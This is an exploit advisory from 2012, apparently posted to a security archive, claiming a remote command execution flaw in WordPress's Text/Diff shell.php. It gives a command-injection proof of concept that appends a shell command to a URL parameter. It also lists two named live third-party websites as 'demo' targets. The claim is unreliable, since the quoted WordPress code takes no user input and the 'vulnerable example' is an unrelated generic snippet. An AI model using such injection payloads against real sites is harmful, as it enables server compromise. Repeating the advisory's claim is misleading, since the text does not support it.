exploit the possibilities

WordPress Remote Command Execution

WordPress Remote Command Execution
Posted Oct 4, 2012
Authored by Nafsh

WordPress may suffer from a remote command execution vulnerability.

tags | exploit, remote
MD5 | 682c1d3f5373d2762aa45bd54be0f9ce

WordPress Remote Command Execution

Change Mirror Download
#########################################################
Author : Nafsh
Discovered By : Tapco Security & Research Lab
Date : 3 Oct 2012
Home : http://Sec-Lab.Tap-Co.Net
Contact : Nafsh.Hack@Gmail.com
#########################################################
Source : http://core.svn.wordpress.org/trunk/wp-includes/Text/Diff/Engine/shell.php

Source Of Bug :
$fp = fopen($to_file, 'w');
fwrite($fp, implode("\n", $to_lines));
fclose($fp);
$diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
unlink($from_file);
unlink($to_file);
#########################################################
vulnerability concept:

$_GET + shell_exec() = Command Execution

vulnerability description:

An attacker might execute arbitrary system commands with this vulnerability. User tainted data is used when creating the command that will be executed on the underlying operating system. This vulnerability can lead to full server compromise.

vulnerable example code :
1: exec("./crypto -mode " . $_GET["mode"]);

proof of concept :

/index.php?mode=1;sleep 10;

patch:

Limit the code to a very strict character subset or build a whitelist of allowed commands. Do not try to filter for evil commands. Try to avoid the usage of system command executing functions if possible.

1: $modes = array("r", "w", "a"); if(!in_array($_GET["mode"], $modes)) exit ;
r
#########################################################
D3m0 :

http://hackrva.org/wp-includes/Text/Diff/Engine/shell.php?Find It In Source=RCE

http://www.hawthorneyoga.com/wp-includes/Text/Diff/Engine/shell.php?Find It In Source=RCE
#########################################################
We are : K0242 | Nafsh | Ehram.shahmohamadi
#########################################################
Tnx : Am!r | M.R.S.CO All Members In Www.IrIsT.Ir & Www.IdC-TeAm.NeT
#########################################################
Greetz : All sec-lab researchers?

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